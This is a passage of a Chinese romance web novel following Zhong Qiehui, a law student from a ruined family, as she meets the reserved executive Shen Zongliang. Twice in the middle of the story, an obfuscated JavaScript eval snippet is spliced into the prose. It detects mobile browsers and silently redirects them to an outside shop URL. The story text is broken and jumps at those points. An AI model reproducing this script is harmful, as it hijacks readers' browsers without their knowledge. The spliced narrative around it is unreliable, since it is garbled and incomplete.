对视过后,且惠和幼圆同时往他左右两只脚上踩下去,用了十成力道。 房间里传出一声惨叫。 庄新华疼得冒汗,一时不知道该抱起哪只好,只能面目狰狞的,趔趄着往后倒退到沙发上。 他诶呦两声,“你们穿的可是高跟鞋!要命啊。” 冯幼圆横了她一眼,“踩死你得了。” 且惠头晕,转个圈后跌坐在床沿边,双手往后撑着,看着他俩这样咯咯直笑。 她笑着去摸手臂,这才后知后觉地发现,披肩已不在自己身上。 庄新华碰了一鼻子灰,坐着也没趣了。 他起身往外走,临去前嘱咐且惠,“陈老惦记你呢,有空去山上看看他,别忘了啊。” 且惠的心思还没转过来,听他这么说,晕晕乎乎地点了一个头。 陈老是钟家的大恩人。她爷爷钟禹平曾是陈云赓身边最得力的秘书。 不是靠着这层关系,钟清源没那么快能在京市站稳脚跟,也挣不下这么大一份家业。 哪怕后来钟禹平去世,陈云赓念及旧情,仍时时关照他的家人。 冯幼圆关上房门,她剥掉身上的绸质礼服,毫不疼惜地丢在地毯上。 她径自去浴室,“我洗澡去了啊,跳舞跳出一身的汗,身上黏死了。” 半天没有听见回答。 幼圆扶着浴室门,探出头来喊:“且惠,跟你说话呢。” 钟且惠回过神,“哦,好。” 冯幼圆问:“你怎么了?心不在焉的。” “你看见我的披肩没有?”钟且惠的目光四处搜寻着,“找不到了。” 还以为有什么大事。 冯幼圆无所谓地挥手,关门前她说:“东西嘛,你特意去找肯定找不到,哪天自己就出来了。” 洗过澡,她们躺在一边夜话,窗前几株夜来香,黄绿团簇的花瓣盛放着。 幼圆转了一个身,忽然想起来问:“这趟回去,你妈妈身体好点了吧?” “嗯。”且惠的声音很清澈,“还要谢谢你给她预约专家。” 今年开春后,董玉书就陆陆续续咳个不停,在社区医院看了几次都不见好。 还是且惠放了暑假,坚持要带她去大医院检查,可回回都抢不到专家号。 后来是幼圆托父亲给她安排,一套流程下来,专家给董玉书开了几种新药,吃下去,七八日就痊愈了。 冯幼圆点头,“好了就好。今天车展上,有没有碰上奇奇怪怪的人?” 且惠身材高挑,五官又精致,每次去打这些零工,总会被人搭讪。 上一回,她在一场商务会议上当翻译,会后甲方老板的司机纠缠她。 送且惠到家后,非要上去坐坐,说想和她认识,后来报了警才了事。 且惠摇了一下头,发丝和枕头擦出轻响,“没有。今天都是正经人。” 正经人。 月色下起了一阵轻雾,鸟啼深树。 说到这里时,钟且惠脑中闪过一个模糊的影子。 当时头昏,她喝多了出来散闷。 只记得他面色深沉,鼻骨高挺,说话时淡淡的倦意,身后是艳得扎眼的紫薇花,衬出他一身洁质。 她问冯幼圆:“今天家里还有别的客人吗?” “不知道,”幼圆打了个哈欠,翻个身,“也许是爸妈请来的。” 钟且惠替她盖上毯子,拍了拍她的背,“没事,睡吧。” 第二天清早,且惠简单洗漱后就离开了卧室。 她下楼时脚步很轻,但仍被冯母察觉。 王字真穿一件半旧不新的亮银色丝绸衫子,坐在沙发上翻书。 她听见声音抬起头,温柔出声,“且惠。” 钟且惠见躲不过,规规矩矩走过去问好,“伯母,早上好。” “早上好。”王字真朝她笑,“昨天在这里住的?” 她点头,有些不好意思,“是。玩得太晚,就冒昧住下了。” 王字真说:“你们小年轻在一起花头多。来,陪我吃个早饭。” 钟且惠忙摆手,“不了伯母,我还得回去收拾行李,一直在客厅摆着呢。” “吃顿早饭能耽误什么功夫。”王字真已经起身,吩咐佣人:“跟厨房说多加一份蟹黄小笼,钟小姐爱吃的。” 且惠只好留下来,拉开椅子,坐在王字真的对面,端起鲜奶喝了一口。 王字真看着她出生,就连名字也是她取的,挑了《国风》里的两个字——“终温且惠,淑慎其身。” 要没有后来那些变故,且惠该和她女儿一样受着宠爱长大,只可惜造化弄人。 她无声吸口气,关心起且惠的学业,“大三就要开学了,课程多吗?” 钟且惠说:“嗯,加进不少的专业课。像《行政法与行政诉讼法》、《律师公证与仲裁实务》,一周要上四个早八。” 但凡长辈主动问及功课,大半是有别的话要交代。 果然,王字真劝她:“学业这么繁重,就不要再去接事情做了,缺什么就跟我说,好吗?” “知道了。”钟且惠乖巧地低头,手指紧紧捏着杯子,“幼圆已经帮了我很多,谢谢伯母。” 上午九点,她离开冯家,车子驶离这座宅子时,且惠回头看了一眼。 树木掩盖下,冯家的园子也不怎么高大,但胜在气势巍峨,两洞朱门便叫人望尘莫及。 其实拮据的生活带给她的痛苦很有限。 真正摧毁人意志的,是过去她所体验的、世人难以企及的富贵,和被养得过分高的眼界不允许她平庸,但手头上这点可怜的资源,却只够支撑她勉强度日的。 每一天,且惠都在这样极大的矛盾里自我消耗,受尽了认知和经济的落差带来的委屈。 就像她晚间无事时,随手点来照明的蟠花烛台,芯黑油尽了,心里的那把火也烧不灭。 司机送她到单元楼下。 门口的铁门已经生了锈,昨天下了点雨,打落一地的土腥气。 这是她外婆生前的财产,很小的一室一厅,只够一个单身姑娘住的。 来京市之前,董玉书就料到她会住不惯宿舍,提早给她备了钥匙。 且惠拿在手里,她不敢相信地问妈妈,“你一直留到现在吗?” 当初离开京市的时候凄凄凉凉,所有能变卖的家财通通都折了现,但还不够填窟窿的。 连衣服也没来得及收上几件,一家三口的行李归归拢,两只红色小皮箱就放下了。 他们从火车站出来,打车回弄堂里安顿下来,租了间阁楼住着。 钟清源在后面结车费,跟出租车司机讨价还价,说能不能抹掉两块零。 董玉书嫌汽油味难闻,手里捏着块帕子,捂了鼻子催促钟且惠,“快走呀小囡。” 且惠低下头,看了一眼自己的漆皮珍妮鞋,说:“爸爸抱我,我怕弄脏鞋子。” 她知道以后再也穿不起了,仅剩的这一双要好好留着。哪怕是留个念想。 钟清源费了半天嘴皮子,好说歹说,最后也只少付了一块钱。 他喜滋滋的,跟占了多大便宜似的,抱起女儿就往里走。 董玉书剜了他一眼。她不明白人的变化怎么能这么大? 不过一夜之间,钟清源叱咤生意场的模样,她无论如何也想不起了,就像上辈子发生的事一样。 董玉书说:“是,我没有告诉过你爸爸,否则他一定拿去卖掉。这是外婆留给你的,要真是不习惯学校,就搬到那边去吧。不过,自己要注意安全。” 且惠下车跟司机道别,跟他说了句谢谢,转身走进老旧的楼道。 外婆的房子在二楼,高处电箱里裸露几根黄色的电线,把天空分隔成形状不一的片区,横铁窗户上生出蜘蛛网,灰白的墙面鼓一块、掉一块,轻轻一碰就往下掉白/粉末,四处是脏乱腐坏的气味。 且惠在这里住了两年,已经能做到对这些视而不见,习以为常地踩上台阶。 在她看来,这栋老式筒子楼再怎么破败,也比四个人挤一间寝室要好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074184|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>把衣服整理好花掉了二十分钟。 其实她每季的衣服非常少,但件件都是上乘货。 幼圆说她打那么多份工,也不见她怎么胡吃海塞,钱大半都花在穿上面了。 且惠去洗了个澡,换了件宽松的睡裙,湿漉着发尾,坐到桌边去温书。 在正式开始学习前,她习惯先列一个todolist,这样能更有效率。 早饭吃得有点撑,且惠直接略过了午餐这个环节,她一向吃得很少。 下午三四点,在她试图厘清破产程序中的别除权、撤销权、抵销权和取回权之间的区别和联系时,发现有水从门缝里灌进来。 她手里还抓着支笔,提了裙子急急忙忙出去看,是厨房的水管爆了。 而她一直坐在房间里,关着门,连一点声响都没听见。 且惠随手抓了块抹布,扶着桌板蹲下去,试图盖住正往外溢水的、破裂的管子。 她取下头上的皮筋扎在上面,固定好以后,打开门,跑到室外去找总闸。 刚好碰到邻家阿哥出门,他比且惠大几岁,是这里的租户,处理这种事比她有经验。 水会导电,吴小勇怕发生事故,先一步闭了电闸,再去把总阀门关上。 且惠长舒了口气,“谢谢你,小勇阿哥。” “别客气。这种老房子最容易出问题了,你平时勤着检查还好,稍微不注意就会变成这样。”吴小勇站在门口,指了一下被水淹掉桌腿的茶几,“不过,你这怎么办啊,人都住不了。” 她环视一圈水漫金山的惨况,“没事。我自己想办法。” 吴小勇抬手看了眼表,“我不能帮你了,女朋友等着我去接她。” “嗯,你去吧。” 且惠拧着一双眉头,叉腰站在门边看了很久,一声短叹后,重新扎好头发,拿起脸盆开始舀水。 反正她早已经习惯于独自应对各种事情。 冯幼圆进来时,就看见她一副下地插秧的架势,模样十分辛劳。 “怎么了这是?”她杵在门口没地落脚,左右看了看,“好好的家,成水帘洞了?” “我家的水管老化了,刚才彻底罢了工。”且惠听出是她的声音,也没回头,“我最近真是有点倒霉。” 冯幼圆拿起电话拨号,对且惠说:“你快别弄了呀,看着好吓人。” 没多久,她就叫来了一个施工队,乌泱泱站满了狭窄的楼道。 且惠拿着脸盆,紧张地去看她,“他们不会拆了我家吧?” “你有什么好让人家拆的?进屋,拿上东西跟我走,这儿就交给他们好了。” 满身疲惫和尘土的且惠只得点头,又把刚挂进柜子的衣服全取出来,装进行李箱里。 她用湿巾擦了擦脸,换了身出门的衣服,把书也塞进去时,听见冯幼圆嘱咐工人:“把这里的煤气管道、电线都检修一遍,不要留隐患,还有这家具、地板全换了。” 且惠心里暖暖地一酸,系好安全带:“幼圆,你怎么会来找我的?” 她打开食盒,“我们家厨子新做的点心,给你拿点尝尝。” 庄新华在前面发动车子,“怎么去了那么久啊!还拿上行李箱了呢。” 幼圆把漏水的事说了。 她诶一声,“且惠先去你那里住两天,行吧?” “没问题,尽管住。” 他们在万和酒店门口下车,庄新华熟门熟路的,把车钥匙扔给泊车小哥。 冯幼圆接了电话,要去和另一帮姐们儿下午茶,让他们两个进去。 且惠点头,“你快去,我自己能行。” 庄公子长期在这里包了间庭院套房,每次和他那帮哥们儿鬼混到半夜,回家怕吃排头,他就会在这里住。 他推着行李箱往里走,碰巧,呼啦出来一大队人,各个西装笔挺,应该是来参会的。 作为标杆级的接待宾馆,这里守备森严,常年召开各项重要会议。 眼看为首的那两个说着话,没长眼。 他们就要挨上钟且惠时,庄新华伸手一捞,把她拉到了自己身边。 且惠穿着平底鞋,这个身高正好够被他单手夹在胸前。 她被他的突如其来吓到,惊惑地抬头:“干嘛?” 庄新华往侧前方卯嘴:“他们差点撞到你,想什么呢?这都没看见啊?” 她正想回嘴说就是没看见,但一撇头,看见一个衬衫西裤的年轻人,步履沉着地从电梯里走出来。 他身材极板正,人群之中,峻拔如青山。 沈宗良的袖子挽到小臂上,白扣牢牢系着,衣服裤子的料子都考究,胸前妥帖挂了一枚列席证,掌心里握着手机,唇角噙着不冷不热的笑,在明亮宽敞的大厅里十分打眼。 门外天色新蓝,柔和的微风拂过湖面,引得几丛芰荷轻轻摆动。 钟且惠始终记得这一天,在离开四九城很久之后,却不为沈宗良的端雅贵重。 她只是跑神地想:今天的天气怎么好成这样? 以致于后来,秋初温和的风吹在脸上,她总是想到他。 在晴朗的日头下漫无目的地走着,仍然想到他。 每一个思绪离题万里的瞬间,还是想到他。 4. chapter 04 庄新华看清来人,箍着且惠的手臂一缩,不成文的站姿收了收。 他略显拘谨地伸手,微不可察地弓背,“沈叔叔,你在这里开会。” 沈宗良点头,手掌与他短暂交握后收回,自然垂落在腰间。 他扫了一眼面容素淡的钟且惠。 今天只穿T恤和百褶裙,斜搭一个双肩包,温良白净的女学生模样。 与昨晚上的钟小姐比,失之浓丽了。 开会开久了,沈宗良嗓音也有些哑,“你们是来这里......休息?” 看得出来,他在很努力地搜刮措辞。 小儿女间超出了边界的那点来往,令眼前这个端方君子觉得难张口。 沈宗良不是爱多管闲事的人,对自己的侄女尚且无暇顾及,更不会有心说教庄新华。 钟且惠对身份上的事情,原本也不那么敏感,更不在乎其他人的目光。 但今天却反常。 她莫名生出一股冲动,想要解释两句,对这个素不相识的沈总说,不是那样。 可庄新华已经大咧咧地答了他,“是啊,休息。” 且惠站在他身边,张了又张的嘴,只好合拢。 她的视线落在他胸前那枚列席证上。 红底黑字,工整印着他的姓名与职务:沈宗良/东远集团副总经理。 旁边一张一寸大小的免冠照,照片上的人面目清俊,眼神坚毅,比眼前这个看着岁数轻。 原来是棠因那个在斯坦福念书的小叔。 且惠听庄新华说起过两次。 沈宗良是沈家最小的儿子,今年二十九。 简单寒暄过后。 沈宗良极淡地颔首,礼节性的目光从他二人身上擦过,并不让人感到有半点冒犯之意。 也许是他的五官太过立体,眼皮浅浅往下压时,有种上位者浑然的傲慢。 眼看他走了,庄新华才又催她,“且惠,快点儿的!我还有别的事。” “哦,来了。” 她紧跟着他转过头,没有再看。 庄新华只带她认了路,送她到房门口就离开了,甩着车钥匙说要去平事。 看他急得那样,且惠多问了句:“出什么大事了?很要紧么。” 他说得含含糊糊,“没什么,两个疯丫头闹起来了,我去看看。” 且惠自己进去,绕了一圈,在这个偌大套间里挑了个小卧室,把行李放好。 这栋楼坐落在皇家园林的深处,红墙黄顶,檐上四角吊垂宫灯,宽敞明亮的客厅里挂着一副《江山多娇》,出自国画大师之手。 外头天好,且惠抱着书到亮光下头去看。 到快天黑时,冯幼圆赶了来,人还没穿过门洞,先听见她的声音。 她喊了句:“就说了吧,你王妈妈听说你那儿住不了人了,一直在怪我。” 且惠后脑勺朝她,“伯母怎么怪上你了?和你有什么关系啦。” “她说早料到了,你那个地方住不长久,不如租出去,给你补贴点生活费也好。” 冯幼圆把包拽在沙发上,学着王女士的口吻,当起事后诸葛。 且惠将笔丢进书缝里,才发现天已经暗下来,难怪越看越费眼睛。 她起身,双手轮刮着眼廓走过去,挨坐在幼圆身边。 且惠拿起水果刀,给她切橙子,“租出去了我住哪儿?” “和我一起住不好吗?”幼圆接过一瓣塞进嘴里,用手指抹了抹唇边溅出的汁水,“小时候我不也常年在你家打搅,吃你们家的用你们家的,叔叔阿姨对我那么好。” 年轻时冯则风在深市任教,王字真随夫南下,丢下个女儿独自在京中。 冯幼圆羡慕且惠,喜欢她家胡乱弹钢琴也有观众鼓掌的氛围,在钟家住过好长一阵子。 当时董玉书养着两个女儿,也很高兴,高珠华服从来都是定两份。 且惠又给她递纸,玩笑说:“别了吧,我这人好逸恶劳的本性难改,怕一住进去,出都不想出来了。” 冯幼圆无所谓的语气,“就不出来好了,等到我们大四一毕业,一起去美国读研。” 暮色下,且惠脸色僵住片刻,睫毛眨了又眨。 去美国读研对她来说,是一项太巨大的开支。 如果是以前的钟家还好说,钟清源随便签下一张支票,就能包揽她的学费和生活费。 也许他担心独生女,还要亲自在纽约上东区购置一套townhouse,再拨几个佣人过去照顾她的生活。 荣华富贵如过眼烟云。现在早就不是以前了,钟家不复兴盛,钟清源也已经过世了。 从到了江城以后,爸爸的身体就不大好,到最后也没抗住,病逝在一个阴冷的雨天。 她深吸口气,大方自然地说笑:“哪个要去美国读研啦,我喜欢牛津的。” “哦,对。你小时候就说,长大要去牛津上学。”幼圆翻看着群里的消息,没看出她的故作轻松,接口道:“不过牛津的法学硕士可没那么容易申,它的附加项太多,你们法学院的年级第一也未必合格。” 小学二年级的寒假,她们跟着出公务的父母去欧洲旅行,一路从法国玩到英国。 那天下午,秘书领着几个小女孩,驱车从伦敦到牛津,在市中心的broadstreet参观了一趟贝利奥尔学院。 当天晚上洗完澡,且惠就认真地知会爸妈:我长大要在这里读书。 董玉书在整理她的玩偶,当即反驳,“大小姐,寒假作业写完了吗?就你天天贪玩的这个样,很难吧。” 但钟清源对女儿无有不应。 他把且惠举到肩膀上,高声笑道:“有什么难的。等惠惠长大了,爸爸来想办法。” 印象里,她的爸爸是个顶聪明的人,他总是有各种各样的办法。 且惠很惋惜的样子,往她肩上靠,“那么难啊,要是我明年雅思考八分呢,也不行?” 看她这样,冯幼圆也暂且搁下手机,为她出谋划策。 几秒后,幼圆有了个好主意,“这样,你去和沈棠因结拜吧,她家正在为她进牛津铺路,捎带手的,把你也给录取算了。” 且惠像是仔细听入了耳。 思忖片刻后,她征询幼圆的意见,“那多麻烦,我不如拿下背后的金主,你觉得沈宗良怎么样?” 冯幼圆睁大了眼睛看她,满脸不敢置信。 她笑着拧且惠一下,“好哇,你比我还敢想!” 且惠失神片刻,她讶异于自己说起他口气,仿佛认识很多年。 但只不过是刚匆匆见了两面,只记得他脸上一派肃然的刻板,轻易接近不得。 怔忡间,冯幼圆拼命拿手咯吱她,已经闹成一团。 且惠求了一阵饶,幼圆才停下来,红了脸,喘着气伏在她腿上。 忽然听见她说:“对了,你说起沈宗良,昨晚你掉在林子里的披肩,大概被他捡走了。” “蛤?”且惠惊得坐起来,“你是怎么知道的?” 她在脑海里,把夜雾中硬朗的轮廓,和下午那位儒雅的沈总,慢慢重合在了一起。 这样见之难忘的气质,在良莠不齐的子弟堆里,也算独一份了。 幼圆说:“杨雨濛那个大嘴巴,昨晚你们俩前后脚出去的,还记得吧?她到处跟人讲,说你是故意留给沈宗良的。” 且惠觉得莫名其妙,“昨晚碰到的时候,我都不知道他姓沈还是姓陈,为什么要故意?” 再者,大小是条披肩,丢了她还要重新花钞票买,有什么好故意的? 她有时候真的怀疑,杨雨濛这姑娘的大脑是不是没发育完全? “杨雨濛嘛,她当然认为你是知道才这样的。”冯幼圆说:“她认定的事情,九头牛都拉不回来,也没人会去驳她。” “怎么,沈宗良很出名吗?”且惠无语。 幼圆挑了一下眉毛,笑说:“东远新晋的大红人咯,年纪轻轻的,就跟一帮老资格平起平坐。还有他大哥,和他家那几个叔伯,都不是等闲之辈。” 想起沈忠常过世时追悼会的阵仗,且惠点点头。 她又问:“沈宗良怎么才三十?他大哥都快五十了吧。” 关于沈家那点子事,幼圆了如指掌,“他妈妈是老爷子的第二任夫人。沈宗良出生的时候,他爸爸年纪蛮大了呢。” “我说新闻里沈夫人那么年轻。”且惠撑着脑袋,随口猜道:“杨雨濛喜欢他,是不是?” “喜欢么,肯定是喜欢的。”幼圆忖度了一下,说:“她天天和沈棠因形影不离,跟在身边百般讨好沈夫人,怕不止是喜欢。” 且惠听笑了,“她那性子,要她整天地做小伏低,也是怪不容易的呢。沈宗良大她那么多,不可能没有女朋友吧?” “还真没听说。” 幼圆凝神想了一会儿,又说:“前几年倒是有桩事传回国内。” 且惠歪在靠枕上,斜过脖子问:“什么?” 幼圆说:“就是魏晋丰的姐姐啊。魏时雨去加州读研,家里事先拜托了沈宗良照顾她。沈总行事稳重,出手又阔绰,弄得魏大小姐一下子就陷进去了。” “都买什么了?” 幼圆弹着指甲回忆,“在爱马仕配了小一百的货吧,还订了两块梵克雅宝的钻表,刷卡的时候眼都不眨。” 且惠点点头,她完全可以想象,不必多说。 皮夹子是男人的第二张脸,何况沈宗良那么风度翩翩。真说起缘由,恐怕肯花钱倒还是其次,魏小姐又不缺钱。 只怕还是沈宗良那副英俊长相太招人。 她说:“然后呢?” “然后嘛,就是经典戏码啰。魏时雨铁了心要扎进沈总的怀抱,被婉拒了。而且人家说,这只是基本礼节而已。她觉得自作多情了一番,无故拿人东西也怪不好意思的,就把东西全都退了回去。” 且惠坐起来问:“那沈宗良也要了?” “没有,收下就不叫沈宗良了。”幼圆摇头,“他不在意这点小玩意儿的。” 且惠咋舌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她都是睡前翻一翻,也没去想含沙射影的背后是什么样。现在幼圆一说,才记起来这么回事儿。 且惠摸了摸下巴,“所以,前阵子她们两个在朋友圈长篇大论的,都是为了庄庄?” 冯幼圆朝她这边挑挑眉,打个响指,“你总算get到了。” “太离谱了。”且惠茫然地摇了摇头,“这个世界太离谱了。” 冯幼圆翻出微信扔给她,“有什么离谱的,你自己看她们发的朋友圈,微博上也是各种互相抬杠。” “不,我只是无法相信,”且惠没看,她转头朝庄新华,“这场三角关系是围绕他发生的。” 说完,且惠就捏起庄新华的下巴,左右打量。 庄新华啧一声,烦躁地扭开脑袋,“别瞎摸八摸的好吧。” “我想看清楚点,你有什么本事,”且惠说:“竟然让两个美女隔空互摔阴阳炮。” 冯幼圆噗地笑了句:“......还是你会骂。” 庄新华腾地坐起来,气得抖了抖嘴唇,说不出话。 人不好貌相的,别看钟且惠外表柔弱,但绵里藏刀的损人功夫,是十年如一日的厉害。 “好了,对不起嘛,算我说错话。”且惠并腿坐在沙发上,在他开口前,支起身体去握他的手,赔罪道:“我饿了,去吃饭好不好?” 三个人都懒得走远,就在酒店的会客厅点了菜,佐餐酒也拿了庄家的存酒。 幼圆咬着块糖醋小排,“且惠,马上开学了,你也不能一直在酒店住,冯夫人让你到报社大院去,过两天就能收拾好。” 她搅着海鲜粥,没怎么在意,眼睛盯着红黄的蟹壳,“好啊,我住哪儿都行。” 直到周六上午,她去看望陈云赓时,才听清了这个地方。 本来双休日,且惠都要去东四环的一家舞蹈培训机构,教小孩子跳芭蕾。 但那天她的课排在下午,又难得起早,便提上礼物去陈家,拜访一下爷爷的老上级。 陈云赓休养的地方,是不方便闲人进出的。 且惠出门前,按规定,提早打电话给元秘书,告诉他大概的到达时间,好叫山上的卡口放行。 元伯在电话里笑,“今天倒巧了,正好老先生腾出点空,你们年轻人也愿意来。” 对这位令人尊敬的长者,且惠始终听妈妈的吩咐,客客气气的。也就没去多想,他口中的你们,是她和谁。 出租车送她到园门口,师傅按捺不住好奇,“姑娘,你家什么人住这里啊?” 因为她实在矛盾,有着过分娴雅的样貌,上车后就没说过话,看起来是个不好言语的主,来的呢,也是一般人摸不着门道的地方。但出行却又叫出租车,这样的姑娘,不会连个司机都没有吧? 且惠付了钱,没有多说什么。关上车门前,只交代他早点下山,不要在附近逗留。 远处翠山连绵,从碧林深处刮来一阵清风,隐隐约约有山茱萸的气味。 它卷起且惠的白裙,打了个旋,又从她的身边吹走。 面前两扇铜门庄重肃穆,门身上精刻云纹团花,鎏金铺首衔住两枚铜环。 且惠停下来,与门前那座白玉拴马柱对视片刻,忽然有种跨越百年的入梦之感。 “小惠。”元秘书忽然出声叫她,“来了啊。” 钟且惠回头,脸上仍带着错落的痴痴懵懵,“哎,元伯您好。” 5. chapter 05 元伯笑,“上午好。我估摸你也快到了,正打算来门口迎你。” 他是陈老先生身边第一人,就算是过去钟清源来拜访,也不敢说要他来迎的事。更何况世易时移。 “不麻烦的。”且惠受宠若惊地摆手,低头说:“我又不是第一次来了。” 元伯往里一伸手,“往这边走,陈老在懋园喝茶。” 另有佣人过来,引着钟且惠穿过木纹格栅,步入一道四面无墙的空廊。 即便不认识,且惠手中端着食盒,也还是点头道谢:“辛苦了。” “不客气,请跟我来。” 陈云赓去年退下来,这一辈子过分地兢兢业业,操劳出一身的旧疾。 在最后的卸任谈话中,也只提出要调养身体。 这才得了这么一座有温泉水流过的园子,聊慰晚年。 天气阴阴的,长条四方的青砖地上,散碎铺着掉落的松针。 老先生翻着一本旧书,听见有脚步近了,抬头看过来。 他发出苍老浑厚的声音,“小且惠。” 一切和十年前好似没什么分别。 陈云赓还是一件长衬衫,里面穿着白色弓字背心,很老一辈的着装法。 也是在不知岁月的深墙大院里,他张开膝盖坐在石桌边看书,抬起头和蔼叫一句她。 只不过那时候,有钟清源牵着她的小手,为她拨开头顶的树叶。 遗憾总归是有的,为她,也为陈云赓。 在这个老人家身上,且惠第一次深切感受到,英豪也有迟暮时。 原来,从死人堆里爬起来,又在极其残酷的斗争中存活下来的人,也会有老的一天。 “陈爷爷好,我来看看您。”且惠笑吟吟点头,她把手里的盒子放下,“这次回家,给您带了点江城特产,都是现做的,日期很新鲜。” 陈云赓示意她坐,“你能来,我已经很高兴了,这些东西自己留着吃吧。” “留了的。”且惠笑着揭开木盖,“我胃口小,就算敞开肚子吃,也吃不了多少的呀。” 陈云赓亲自给她倒了杯茶。且惠捧了接过来,“谢谢爷爷。” “你妈妈身体还好吗?”陈云赓啜了口茶问。 且惠答:“还好,春天里有些咳嗽,吃了几次药就好了。” 陈云赓迟而缓点一下头,“你妈妈是难得的贤惠,这么多年家里家外的,难为她一个人了。” “是啊,妈妈辛苦。”且惠的视线跌进清亮的茶汤里,微叹口气,“我在这边读书,也帮不上她什么。” 陈云赓又笑,“你把你的书读好,毕业后找一份好工作,就算是帮了她了。” 且惠乖巧地点头,“嗯,我知道。” 没多久,前边一阵明朗的说笑声传来。 元伯为两个年轻人带路。他的后背躬得恰到好处,“这边。” 且惠垂下目光,落在他们黑色的裤腿上,看不出是什么牌子,但面料精良。 意识到人走近了,她规矩地站起来。 一道男声温和入耳:“陈老您好。且惠也在这里啊。” 说话的,是唐庄齐的哥哥唐纳言。她与庄齐是同学。 陈云赓抿了口茶,“今天倒巧了,你们俩一块过来。” 沈宗良说:“打回国后就没来看过您老,寝食难安哪。” “跟我来虚头巴脑这套!”陈云赓端着茶指指他,笑说:“你大哥都还早了点儿。” 且惠笑了笑,落落得体,“走了这么多年了,纳言哥哥还能记得我,我正打算自我介绍呢。” “别说,差一点就没认出来。”唐纳言是个儒雅君子,压手示意她坐,“要不是元伯说起,我也要问名字了。” 沈宗良绕过石桌,站在了老爷子身边:“那我得问,就我一人不知道。” 且惠抬眸看他。 沈总今天没穿西服,白色衬衫妥帖地束在裤腰中,腕间也力主一个精简低调,只佩戴了一块中古劳。 但眼眉仍然寡淡,看人时隔着昭彰的疏远,很难接近的样子。 她大大方方伸出手:“钟且惠,而且的且,实惠的惠。沈总您好。” “你好。” 很合乎社交礼节的,沈宗良握住她三分之一的掌尖。 冰冰凉,像一块怎么都捂不热的玉璧。 “唷。”唐纳言拈起六和杯,笑得十分刁钻,“人姑娘先把你给认得了,落后了啊沈总。” 且惠听后,真当他贵人事多,提了句:“昨天见过。沈总刚好在万和开会。” 沈宗良不可置否地一笑。 见了她三次,居然都没有一个正式的开头,总是时机不对。 但转念一想,跟小辈们的女朋友,要什么正式的开头。 不合适,也没必要。 忽然起了阵风,衬衫被吹得贴在沈宗良身上,隐约可见底下微鼓的肌群。 他两根手指圈住杯沿,并不是正经当客人的姿态,过分松散了,架构出一道意想不到的俊朗。 且惠盯着他看了很久,一颗心仿佛和他身旁的银杏枝叶共舞,飘飘荡荡不肯落下。 直到陈云赓出声:“你们俩尝尝且惠带来的点心,她的一片心意。” 她才回过神,低头默默抚了抚裙面,逐一为他们介绍。 且惠揭开食盒盖:“这是复香斋的鸡仔饼、蝴蝶酥和杏仁排。” 唐纳言拈起一块尝了:“这蝴蝶酥一股奶香味,很酥脆。” 且惠笑了下,又去关照另一位:“沈总也吃吃看吧,杏仁排也不错的。” 她说话时,一双眼睛柔婉盯住他,里头像泊了一汪池塘的雨水,宁静而平和。 在她漆黑的瞳仁里,沈宗良看见了自己走了片刻的神。 唐纳言刚想好言阻止,说他常年在美国,身边两三个营养师调停三餐,是从来不碰这些糖油混合物的。 下一秒,面前一只骨节分明的手伸过,已经将那块杏仁排拿了过去。 沈宗良递进嘴里,面无表情地吃下,继而一笑:“还可以。” 唐纳言吃惊不小,又不便当面点破他,生生将疑惑咽下去。 一旁的陈云赓开口:“小惠,不用总是照顾他们,你也喝茶。” “香气清芬,适合夏天喝。”且惠这才端起来尝了尝,“就不知道是什么茶。” 她探寻的目光看向汝窑罐,正猜想着。 对面一道清朗男声,“是头春头采的白毫银针,特意留到现在的。” 沈宗良有一把极为醇厚的嗓音。 波澜不惊的基调里,零星几点醉人的动听。 尤其是像这样,专程开口解释一件微不足道的事,同她四目相对。 恍惚间,让人生出一道不该有的错觉,好似她独得他沈总青眼一般。 且惠撞上他的眼神,脸颊微烫,“噢,是这样。” 陈云赓笑着提起,“还是这小子让自家茶园留的,一早就送到了我这里。” “今年雨水多,雾气又重,这茶不大好采。左挑右选的,拢共才得两罐。”说到这里,沈宗良停顿了几秒,忽然有些惆怅的语气,“另一罐,原本是给爸爸留的,他生前最爱喝了。” 唐纳言安慰他,“你父亲过世那阵子,集团斗争局势太复杂。你人在美国赶不回来,他不会怪你的。” 陈云赓也说:“有你大哥在京主持,场面上的功夫尽够了。虽说中国人讲个圆满,但事急从权,总有周到不了的地方,别太往心里去。” 说起这些无关的家常,他们也不避她。 且惠也只知道,聊的是沈老爷子病逝的事。 上个月她人在江城,晚上看新闻,主持人拖慢了调子,用沉痛的音腔播送了一则讣告,光是前面一长串的头衔,就说掉将近半分钟。 当时董玉书正在吃饭,也回过头来问:“小囡,沈忠常老爷子去世了?” “嗯,沈棠因她爷爷吧。”且惠点头,“好像前一阵子就听说不好了。” 董玉书说:“你在政大读书,和沈小姐有来往吗?” “没有。偶尔在party上见到,也不过就打个招呼。” 都说沈棠因性情平和,是一位识大体、顾大局的大家闺秀。 长大后且惠见了她三四次,虽然也笑着,待人客客气气的,但总有种莫名的距离感。 就和整个沈家给人的感觉一样。低调、内敛、谦和,却远在天边。 一个愣神,且惠听见沈宗良又说:“不管怎么说,总是我这个做儿子的错处。” 陈云赓的手搭在膝上,语气变得严肃,“所以你还礼的方式,是始终不肯回家?” 这已经是摆在台面上的,实打实的敲打了。 且惠犹豫起来,她是不是该告辞。 陈老身在高位多年,积威深重。 换了旁人,被他这样问一句话,手都要打抖。 但他面色自若,淡道:“生敬孝,死敬哀。我想为爸爸守孝,就住在他和妈妈住过的小楼里,这样显得心诚。” “是那栋你母亲报社集资建的老楼?”唐纳言问。 沈宗良点头:“是,不去住上一两个月,晨昏定省烧一炷香,于心难安。” 八岁之前,他都在报社的大院里淘气。 那时沈老爷子还没退下来,便是暇时见客,也会把年幼的他抱在膝头。 陈云赓面色缓了缓,早先听他大伯说他不肯返家,准备警醒这小子两句。 现在看起来,竟也是一片孝心。 